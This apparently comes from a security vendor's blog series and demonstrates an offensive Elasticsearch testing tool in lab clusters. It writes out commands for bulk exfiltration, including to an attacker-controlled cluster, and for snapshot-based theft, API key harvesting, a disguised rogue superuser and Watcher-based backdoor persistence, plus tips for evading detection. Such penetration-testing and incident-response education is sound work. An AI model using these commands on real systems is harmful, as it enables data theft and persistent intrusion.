Release the RAVEN: Data Heist and Persistence
We have access through port 9200. We have code execution through port 5601. Reconnaissance is complete, CVEs have been exploited, and Kibana has been compromised. Over the past three posts, we proved that we could get in. Now we prove what happens after.
Every penetration test reaches the same pivotal question: what is the actual business impact? Unauthorized access is a finding. Remote code execution (RCE) is a critical finding. But the executive summary of the report needs to answer the questions that keep the CISO awake. Can the attacker steal our data? Can they maintain access after we rotate passwords? Can they come back after we think we have locked them out?
This post answers all three. We exfiltrate entire databases to disk, establish credential-independent access through API keys that survive password rotations, and plant persistence mechanisms that outlast standard incident response. Every action is logged. Every action can be reversed. But first, we prove the damage.
Setting the Stage
This post uses two lab environments:
- lab-main (Elasticsearch 7.17.22, no authentication) for demonstrating data exfiltration against an unsecured cluster.
- lab-secured (Elasticsearch 7.17.22, X-Pack security enabled) for demonstrating API key operations and persistence mechanisms.
Both are Docker-based and start with a single `make` command.
Bulk Data Exfiltration
The most direct demonstration of business impact is data theft. RAVEN's `exfil` module uses the Scroll API (for Elasticsearch versions before 7.10) or the Point-in-Time API (for 7.10 and above) to paginate through entire indices and export every document to disk as NDJSON files.
Targeted Index Extraction
Start with a specific index. We know from Part 1's reconnaissance that the `users` index contains user records. As shown in Figure 1, running `raven-es --quiet -t localhost exfil --index users --to disk --dest ./loot/ --confirm-writes` extracts every document to disk.

Figure 1. Targeted exfiltration of the users index to disk via the PIT API.
Every document in the `users` index is now sitting in `./loot/users.ndjson`. One line per document, ready to be parsed, searched, or imported into the attacker's own Elasticsearch instance.
As shown in Figure 2, running `ls -la ./loot/users.ndjson` and `head -1 ./loot/users.ndjson` confirms the stolen data on disk.

Figure 2. Exfiltrated user data on the attacker's filesystem with real document content visible.
The `--batch-size` flag controls how many documents are pulled per batch (default: 1,000). On large indices with millions of records, tuning this value balances speed against memory consumption and network visibility. Larger batches complete faster but generate more conspicuous network traffic. Smaller batches are slower but blend in with normal application queries.
Complete Database Exfiltration
When targeted extraction is not enough, the `--all` flag pulls everything. As shown in Figure 3, running `raven-es --quiet -t localhost exfil --all --to disk --dest ./loot/ --confirm-writes` exports every non-system index to disk.

Figure 3. Complete database exfiltration: all four indices extracted with 45 total documents.
Every non-system index, every document, is exported to local files. On a real engagement, this is the finding that lands in the executive summary of the penetration test report. Not "we could theoretically access your data" but "we downloaded all of it."
As shown in Figure 4, running `ls -la ./loot/` confirms the entire database now sits on the attacker's filesystem.

Figure 4. Directory listing showing four exfiltrated .ndjson files on the attacker's filesystem.
The `--resume` flag handles interrupted downloads by maintaining a state file. If the network drops or the process is killed mid-extraction, resuming picks up from the last completed batch rather than starting over. For indices with millions of documents, this is the difference between a minor inconvenience and hours of wasted time.
For environments where the attacker controls a local Elasticsearch instance, the ` --to local-es` option with `--dest http://attacker-es:9200` reindexes the stolen data directly into the attacker's cluster, preserving mappings, field types, and index settings. A perfect mirror of the victim's data, searchable and queryable from the attacker's infrastructure.
Dedicated to hunting and eradicating the world's most challenging threats.
Snapshot Exfiltration
The `exfil` module is effective but noisy. Scroll queries generate significant API traffic, scroll contexts consume cluster resources, and the bulk data transfer is visible in network monitoring. RAVEN's `snapshot` module provides a stealthier alternative.
The technique is a two-step process. First, register a rogue snapshot repository at a filesystem path the attacker can later access by running `raven-es --quiet -t localhost snapshot --register-repo --repo-path /tmp/raven_repo --confirm-writes`, as shown in Figure 5.

Figure 5. Rogue snapshot repository registered at /tmp/raven_repo on the target server.
Then, snapshot the target indices into that repository. As shown in Figure 6, running `raven-es --quiet -t localhost snapshot --exfil --indices users,orders --snapshot-name heist_001 --confirm-writes` creates the snapshot server-side.

Figure 6. Snapshot "heist_001" created with users and orders indices, state SUCCESS.
The data now sits in a snapshot file on the Elasticsearch server's filesystem. No scroll contexts, no bulk transfers, no sustained network activity — just a single API call to register the repository and a single API call to create the snapshot. The actual data movement happens server-side, within the Elasticsearch process, invisible to network monitoring.
As shown in Figure 7, running `curl -s http://localhost:9200/_snapshot/raven_exfil_repo/_all | python3 -m json.tool | head -15` verifies the snapshot exists on the server.

Figure 7. Server-side verification confirming snapshot "heist_001" with SUCCESS status and included indices.
The `--repo-type` flag supports both filesystem (`fs`) and URL-based repositories. The `--repo-name` flag allows custom naming to blend with existing legitimate repositories. The `--restore` flag can restore a snapshot back into the cluster, useful as a persistence mechanism: snapshot the data, delete it, and restore later when needed.
For file read capabilities through the snapshot API (CVE-2015-5531), the `--read-file` flag was covered in Part 2's exploitation section.
API Key Operations
Data exfiltration proves impact. Persistent access proves that the attacker can come back. RAVEN's `apikey` module manages Elasticsearch API key operations that establish credential-independent access to the cluster.
We switch to lab-secured (ES 7.17.22 with X-Pack security enabled).
Enumerating Existing Keys
Start with reconnaissance. As shown in Figure 8, running `raven-es --quiet -t localhost apikey --list --confirm-writes -u elastic -P changeme` shows all API keys visible to the current user.

Figure 8. API key enumeration on a fresh cluster showing no existing keys.
The output reveals which API keys already exist in the cluster, who created them, and when. On a real engagement, this is valuable intelligence. Service account keys suggest automated integrations that may have elevated privileges. Keys with generic names like "admin_key" or "backup_service" hint at misconfigured automation. Keys created recently may indicate another attacker or an ongoing incident response. And every key listed is a potential target for the `--invalidate` flag, which can revoke other users' access as a denial-of-service technique against legitimate API consumers.
Creating a Persistent Key
As shown in Figure 9, running `raven-es --quiet -t localhost apikey --create --name "analyst_standard_key" --confirm-writes -u elastic -P changeme` generates a new API key with the current user's privileges.

Figure 9. API key created with encoded credential value ready for authentication.
This key inherits the creating user's permissions. It can access every index and operation that the user could access at the time of creation.
The encoded API key value displayed in the output is a complete authentication credential. Anyone who possesses that string can authenticate to the cluster without knowing the user's username or password. If the user's password is rotated tomorrow, the key still works. If the user's account is temporarily disabled, the key still works. The only way to revoke it is to explicitly invalidate it by ID, which requires someone to know the key exists in the first place.
Harvesting and Revoking Keys
The `--harvest` flag attempts to read API keys directly from the `.security` index. If the current user has access to system indices, this reveals every API key in the cluster, including those created by other users and service accounts. On a real engagement, harvested keys provide immediate access to other accounts without needing to crack their passwords.
The `--invalidate` flag revokes a key by ID. This is useful for cleanup after an engagement, but it is also an offensive capability. Revoking a legitimate service account's API key can disrupt automated pipelines, monitoring systems, and inter-service authentication, effectively creating a targeted denial of service against the organization's infrastructure.
Establishing Persistence
Access that disappears when the defender rotates passwords is not persistence. RAVEN's `persist` module creates three independent persistence mechanisms, each designed to survive different incident response actions.
This module requires both `--confirm-writes` and `--scope-file` because persistence operations create lasting changes that could compromise a production environment if executed against the wrong target.
Rogue User Account
The first persistence mechanism is the most straightforward: create a superuser account with credentials only the attacker knows. As shown in Figure 10, running `raven-es --quiet -t localhost persist --create-user --backdoor-username svc_monitoring --backdoor-password 'M0n!t0r_2024#Sys' --confirm-writes --scope-file scope.txt -u elastic -P changeme` creates the rogue account.

Figure 10. Rogue superuser account "svc_monitoring" created with attacker-controlled credentials.
The account name matters. A rogue user named `backdoor_admin` will be found in the first audit. A user named `svc_monitoring` or `es_replication_agent` blends in with legitimate service accounts. On clusters with dozens of users, a well-named rogue account can persist unnoticed for months.
As shown in Figure 11, running `curl -s http://localhost:9200/_security/user/svc_monitoring -u elastic:changeme | python3 -m json.tool` confirms the account exists with superuser privileges.

Figure 11. Verification showing svc_monitoring exists with superuser role, indistinguishable from legitimate service accounts.
There it is, sitting alongside the legitimate accounts. To the untrained eye, it looks like it belongs.
Long-Lived API Key
The second mechanism is subtler. API keys in Elasticsearch do not expire by default. As shown in Figure 12, running `raven-es --quiet -t localhost persist --create-apikey --apikey-name monitoring_service_key --confirm-writes --scope-file scope.txt -u elastic -P changeme` creates a persistent API key.

Figure 12. Long-lived API key created. This credential survives password rotations indefinitely.
Even if every user password in the cluster is rotated, this API key remains valid. The defender must explicitly list and invalidate API keys to remove this access path. Most incident response playbooks do not include API key revocation because most responders do not think to look for them.
As shown in Figure 13, running `raven-es --quiet -t localhost apikey --list --confirm-writes -u elastic -P changeme` confirms the new key exists alongside the previously created key.

Figure 13. API key listing showing monitoring_service_key alongside analyst_standard_key.
The new key appears in the list, indistinguishable from legitimate keys except to someone who knows every key by name.
Watcher-Based Persistence
The third mechanism is the most resilient. Elasticsearch Watcher is a built-in scheduling system designed for alerting. RAVEN repurposes it as a persistence guarantor. As shown in Figure 14, running `raven-es --quiet -t localhost persist --create-watcher --watcher-interval 1h --backdoor-username svc_monitoring --backdoor-password 'M0n!t0r_2024#Sys' --apikey-name monitoring_service_key --confirm-writes --scope-file scope.txt -u elastic -P changeme` creates a scheduled task that monitors and rebuilds the other two persistence mechanisms.

Figure 14. Watcher-based persistence created with a one-hour interval for automated backdoor recreation.
As shown in Figure 15, running `curl -s http://localhost:9200/_watcher/watch/persist_watcher_svc_monitoring -u elastic:changeme | python3 -m json.tool | head -10` confirms the Watcher is registered and active.

Figure 15. Watcher definition verified on the server, showing active status and trigger configuration.
The Watcher runs every hour (configurable via `--watcher-interval`). On each execution, it checks whether the rogue user and API key still exist. If either has been deleted by a defender, the Watcher recreates them. The defender must find and delete the Watcher itself to break the persistence chain. Deleting the rogue user or revoking the API key is insufficient if the Watcher is still running.
Why This Matters
Consider the typical incident response sequence: security team discovers unauthorized access, rotates all passwords, and declares the incident contained. Against RAVEN's three persistence mechanisms, that response achieves nothing. Password rotation does not affect the rogue user because it has its own password. It does not affect the API key because keys are credential-independent. It does not affect the Watcher because it runs on a schedule regardless of authentication changes. Even targeted remediation falls short. Deleting the rogue user is reversed by the Watcher on its next interval. Revoking the API key is reversed by the Watcher on its next interval.
Breaking the persistence requires identifying and removing all three mechanisms. The Watcher must be found first, or any cleanup of the other two is temporary.
The Activity Log
Every state-changing operation demonstrated in this post was logged. RAVEN maintains an activity log at `~/.raven/activity.log` that records each action with enough detail to reverse it. As shown in Figure 16, running `cat ~/.raven/activity.log` reveals the complete record of the engagement.

Figure 16. Activity log showing timestamped entries for every operation with reverse_hint fields for automated cleanup.
Each entry includes a `reverse_hint` that tells the `clean` module exactly how to undo the action. API key created? The log contains the key ID for invalidation. User created? The log contains the username for deletion. Repository registered? The log contains the repository name for removal.
This dual-purpose design serves both the penetration tester and the target organization. The tester uses it as evidence for the report. The cleanup module uses it as a manifest for restoration. RAVEN logs every action it takes. In Part 5, we will use that log to undo all of them.
What Comes Next
We have proven the full business impact of a compromised Elasticsearch deployment: Data stolen from every index. Credential-independent access established through API keys that no password rotation can revoke. Three planted persistence mechanisms that survive the most common incident response actions. And every action recorded in a log that serves as both evidence and cleanup manifest.
But an offensive tool that cannot clean up after itself is a tool that creates more problems than it solves. In Part 5, we demonstrate RAVEN's destructive capabilities, the triple-gated safety system that prevents accidental damage, and the cleanup module that reverses every action logged in this post. The heist is over. The cleanup begins.
This is Part 4 of the "Release the RAVEN" series. Read Part 3: Kibana Under Siege for Kibana exploitation or continue to Part 5: Destruction and Discipline for destructive operations and cleanup.
About the Author
Karl Biron is a Senior Security Researcher in the SpiderLabs Database Security team at LevelBlue, bringing more than a decade of hands-on technical experience across the cybersecurity landscape. He holds multiple industry-recognized certifications and has built a global perspective through his work in Singapore, the United Arab Emirates, and the Philippines. Karl is the lead author of two IEEE peer-reviewed publications covering diverse topics such as cybersecurity and data science. He has presented his offensive security research at RootCon in the Philippines and DEF CON Singapore, where he ran two Demo Labs sessions. Follow Karl on LinkedIn.
ABOUT LEVELBLUE
LevelBlue secures what's next with intelligence-led security delivering visibility and speed to stop threats faster. As the world’s largest and most analyst-recognized pure-play managed security services provider, our AI-powered managed services and cyber expertise across managed, advisory, and incident response services help clients operate with confidence. Learn more about us.